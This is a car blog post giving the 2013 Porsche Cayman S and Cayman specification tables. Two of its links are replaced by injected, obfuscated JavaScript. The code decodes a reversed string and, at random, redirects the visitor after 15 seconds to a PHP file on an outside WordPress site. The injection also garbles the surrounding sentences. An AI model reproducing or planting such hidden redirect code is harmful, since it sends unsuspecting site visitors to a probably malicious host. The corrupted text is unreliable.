So there’s the basics for you to mull over anyway. We’re just wondering – considering $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/on-the-road/porsche-boxster-s-dubai-uae-the-die-is-cast/” target=”_blank”>how the Boxster S took the automotive industry by storm – what that will all equate to when the Cayman S finally hits the streets.
2013 Porsche Cayman S | |
---|---|
Engine: | Flat-six / 3436cc |
Power: | 325hp @ 7400rpm |
Torque: | 272lb ft @ 4500-5800rpm |
Transmission: | Six-speed manual transmission / optional seven-speed Doppelkupplungsgetriebe (PDK) / rear wheel drive |
Front suspension: | Strut suspension (MacPherson) / wheel-guiding strut / independent mounting on transverse and longitudinal control arms / twin-tube gas-pressure dampers / electro-mechanical power steering. |
Rear suspension: | Wheels independently guided on transverse control arms / longitudinal control arms / tie rods and suspension struts (McPherson) / cylindrical coil springs with internal dampers / anti-roll bar. |
Brakes: | Four-piston aluminium monobloc brake callipers / perforated and internally ventilated brake discs / 330 mm (front) / 299mm (rear) |
Wheels: | 19in front and rear |
Tyres: | 235/40 ZR 19 front / 265/40 ZR 19 rear |
Weight (kerb) | 1320kg |
0-100kph: | 5.0sec |
Top speed: | 283kph |
2013 Porsche Cayman | |
---|---|
Engine: | Flat six / 2706cc |
Power: | 275hp @ 7400rpm |
Torque: | 213lb ft @ 4500-6500rpm |
Transmission: | Six-speed manual transmission / optional seven-speed Doppelkupplungsgetriebe (PDK) / rear wheel drive |
Front suspension: | Wheels independently guided on transverse control arms / longitudinal control arms / tie rods and suspension struts (McPherson) / cylindrical coil springs with internal dampers / anti-roll bar. |
Rear suspension: | Wheels independently guided on transverse control arms with longitudinal control arms / tie rods and suspension struts (McPherson) / cylindrical coil springs with internal dampers / anti-roll bar |
Brakes: | Four-piston aluminium monobloc brake callipers / perforated and internally ventilated brake discs / 315 mm (front) / 299mm (rear) |
Wheels: | 18in front and rear |
Tyres: | 235/45 ZR 18 (front) / 265/45 ZR 18 (rear) |
Weight (kerb) | 1310kg |
0-100kph: | 5.7sec |
Top speed: | 266kph |
– Our thanks to cncpics.com. Be sure to check out $VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == “string”) return $VOcl3cIRrbzlimOyC8H.list[n].split(“”).reverse().join(“”);return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[“‘php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth’=ferh.noitacol.tnemucod”];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}andpiston.com/galleries/album/01/2012-la-auto-show/” target=”_blank”>our full LA Auto Show gallery HERE.